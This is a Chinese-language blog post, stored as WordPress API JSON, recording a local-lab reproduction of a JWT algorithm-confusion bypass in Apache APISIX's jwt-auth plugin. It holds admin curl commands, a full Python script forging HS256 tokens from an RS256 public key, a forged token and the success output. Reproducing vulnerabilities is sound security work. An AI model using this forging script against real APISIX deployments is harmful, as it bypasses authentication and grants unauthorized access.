{"id":342,"date":"2026-07-22T21:50:43","date_gmt":"2026-07-22T13:50:43","guid":{"rendered":"https:\/\/arknight.wiki\/?p=342"},"modified":"2026-07-22T21:50:43","modified_gmt":"2026-07-22T13:50:43","slug":"cve-2026-39999%e5%a4%8d%e7%8e%b0%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/07\/22\/cve-2026-39999%e5%a4%8d%e7%8e%b0%e8%ae%b0%e5%bd%95\/","title":{"rendered":"CVE-2026-39999\u590d\u73b0\u8bb0\u5f55"},"content":{"rendered":"<h1>CVE-2026-39999\u590d\u73b0\u8bb0\u5f55<\/h1>\n<h3>\u5f71\u54cd\u7248\u672c\uff1a<\/h3>\n<p>Apache APISIX: from v2.2 through v3.16.0.<\/p>\n<h3>\u6f0f\u6d1e\u539f\u7406\uff1a<\/h3>\n<p>\u670d\u52a1\u5668\u6839\u636e\u5ba2\u6237\u7aef\u4f20\u5165\u7684<code>alg<\/code>\u6765\u9009\u62e9\u5bc6\u7801\u9a8c\u8bc1\u7b97\u6cd5\u3002\u5bfc\u81f4\u4f46\u4e00\u4e2a\u672c\u8be5\u88abrs256\u7b7e\u540d\u9a8c\u8bc1\u7684\u7528\u6237jwt\u88ab\u4ee5hs256\u65b9\u5f0f\u6821\u9a8c\uff0c\u670d\u52a1\u7aef\u4f1a\u53d6\u672c\u8be5\u4f5c\u4e3ars256\u516c\u94a5\u7684key\u8fdb\u884c\u9a8c\u8bc1\uff0c\u800c\u516c\u94a5\u653b\u51fb\u65b9\u5df2\u77e5\uff0c\u5bfc\u81f4\u53ef\u4ee5\u4f2a\u9020jwt\u3002<\/p>\n<h3>\u590d\u73b0\u6d41\u7a0b\uff1a<\/h3>\n<h5>docker\u914d\u7f6e\uff1a\u8be6\u7ec6\u7565<\/h5>\n<ul>\n<li><code>etcd-vuln<\/code>\uff1a<code>bitnamilegacy\/etcd:3.6<\/code><\/li>\n<li><code>apisix-vuln<\/code>\uff1a<code>apache\/apisix:3.16.0-debian<\/code><\/li>\n<li><code>upstream<\/code>\uff1a<code>nginx:1.27-alpine<\/code><\/li>\n<\/ul>\n<h5>\u521b\u5efa\u4e00\u4e2a RS256 Consumer\uff1a<\/h5>\n<p>\u547d\u4ee4\u884c\uff1a<\/p>\n<pre><code>curl.exe -X PUT \"http:\/\/127.0.0.1:19180\/apisix\/admin\/consumers\" ^\n  -H \"X-API-KEY: lab-admin-vuln\" ^\n  -H \"Content-Type: application\/json\" ^\n  -d \"{\"username\":\"manual_rs256_consumer\",\"plugins\":{\"jwt-auth\":{\"key\":\"user-key-rs256\",\"algorithm\":\"RS256\",\"public_key\":\"-----BEGIN PUBLIC KEY-----nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA79XYBopfnVMKxI533oU2nVFQbEdSPtWRD+xSl73lHLVboGP1lSIZtnEj5AcTN2uDW6AYPiWL2iA3lEEsDTs7JnBUXyl6pysBPfrqC8n\/MOXKaD4e8U5GAHFiwHWg2WzHlfFSlFkLjzp0vPkDK+fQ4Cnlrd7shAyitB7use6DHcVCKuI4bFOoFbdI5sBGeyoD833g+ql9bRkH\/vf8O+rPwHAnM+47r1iv3lY3ex0P45PRd7U7rq8P8UIw6qOI1tiYuKlFJmjFdcwtYG0dctxWwgL1n+7njrVQoWvuOTSsc9TDMhZkmmSsU3wXjaPxJpydck1C\/w9ZLqsctKK5swYWhIcbcnBQIDAQABn-----END PUBLIC KEY-----\"}}}\"<\/code><\/pre>\n<h5>\u521b\u5efa\u9700\u8981jwt\u9a8c\u8bc1\u7684\u53d7\u4fdd\u62a4\u8def\u7531\uff1a<\/h5>\n<p>\u547d\u4ee4\u884c\uff1a<\/p>\n<pre><code>curl.exe -X PUT \"http:\/\/127.0.0.1:19180\/apisix\/admin\/routes\/1\" ^\n  -H \"X-API-KEY: lab-admin-vuln\" ^\n  -H \"Content-Type: application\/json\" ^\n  -d \"{\"plugins\":{\"jwt-auth\":{}},\"upstream\":{\"nodes\":{\"upstream:80\":1},\"type\":\"roundrobin\"},\"uri\":\"\/hello\"}\"<\/code><\/pre>\n<h5>\u751f\u6210\u4f2a\u9020 token\uff1a<\/h5>\n<p>\u811a\u672c\uff1a<\/p>\n<pre><code>import argparse\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport time\n\ndef b64url(data: bytes) -&gt; str:\n    return base64.urlsafe_b64encode(data).rstrip(b\"=\").decode()\n\ndef encode_json(obj: dict) -&gt; bytes:\n    return json.dumps(obj, separators=(\",\", \":\"), sort_keys=True).encode()\n\ndef forge_hs256_with_public_key(public_key_text: str, consumer_key: str, expires_in: int) -&gt; str:\n    now = int(time.time())\n    header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n    payload = {\n        \"exp\": now + expires_in,\n        \"key\": consumer_key,\n        \"nbf\": now - 60,\n    }\n\n    signing_input = f\"{b64url(encode_json(header))}.{b64url(encode_json(payload))}\"\n    signature = hmac.new(\n        public_key_text.encode(),\n        signing_input.encode(),\n        hashlib.sha256,\n    ).digest()\n    return f\"{signing_input}.{b64url(signature)}\"\n\ndef main() -&gt; None:\n    parser = argparse.ArgumentParser(\n        description=\"Forge an HS256 JWT using an APISIX RS256 consumer's public key as the HMAC secret.\",\n    )\n    parser.add_argument(\n        \"--public-key\",\n        default=\"..\/keys\/public.pem\",\n        help=\"Path to the public key PEM file\",\n    )\n    parser.add_argument(\n        \"--consumer-key\",\n        default=\"user-key-rs256\",\n        help=\"The JWT payload 'key' claim expected by the APISIX consumer\",\n    )\n    parser.add_argument(\n        \"--expires-in\",\n        type=int,\n        default=3600,\n        help=\"Token lifetime in seconds\",\n    )\n    args = parser.parse_args()\n\n    with open(args.public_key, \"r\", encoding=\"utf-8\") as fh:\n        public_key_text = fh.read()\n\n    token = forge_hs256_with_public_key(public_key_text, args.consumer_key, args.expires_in)\n    print(token)\n\nif __name__ == \"__main__\":\n    main()\n<\/code><\/pre>\n<p>\u76f4\u63a5\u5728\u7ebf\u5de5\u5177\u89e3\u4e5f\u884c<\/p>\n<p>\u547d\u4ee4\u884c\uff1a<\/p>\n<pre><code>python .manualforge_jwt.py --public-key .keyspublic.pem --consumer-key user-key-rs256<\/code><\/pre>\n<p>\u53c2\u6570\u8bb2\u89e3\uff1a<code>.keyspublic.pem<\/code>\u4e3a\u4f7f\u7528\u7684key\uff0c<code>user-key-rs256<\/code>\u4e3a\u5c06\u8981\u4f2a\u9020\u7684\u7528\u6237\u7684\u6807\u8bc6\uff0c\u670d\u52a1\u7aef\u6839\u636e\u8fd9\u4e2a\u67e5\u627e\u8be5\u7528\u54ea\u4e2a\u7528\u6237\u7684\u5bc6\u94a5\u3002<\/p>\n<h5>\u8bbf\u95ee\u9274\u6743\u9875\u9762\uff1a<\/h5>\n<p>\u547d\u4ee4\u884c\uff1a<\/p>\n<pre><code>curl.exe \"http:\/\/127.0.0.1:19080\/hello?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODQ3MjY1NzEsImtleSI6InVzZXIta2V5LXJzMjU2IiwibmJmIjoxNzg0NzIyOTExfQ.bFh-LQgG8xNupOal0BgkFPOfUPcu5Qz_SRLE15fId7Y\"<\/code><\/pre>\n<h5>\u590d\u73b0\u6210\u529f\uff1a<\/h5>\n<pre><code>{\"message\":\"lab upstream reached\",\"service\":\"nginx\"}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2026-39999\u590d\u73b0\u8bb0\u5f55 \u5f71\u54cd\u7248\u672c\uff1a Apache APISIX: from v2.2 throu [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,17],"tags":[],"class_list":["post-342","post","type-post","status-publish","format-standard","hentry","category-3","category-17"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=342"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/342\/revisions"}],"predecessor-version":[{"id":343,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/342\/revisions\/343"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}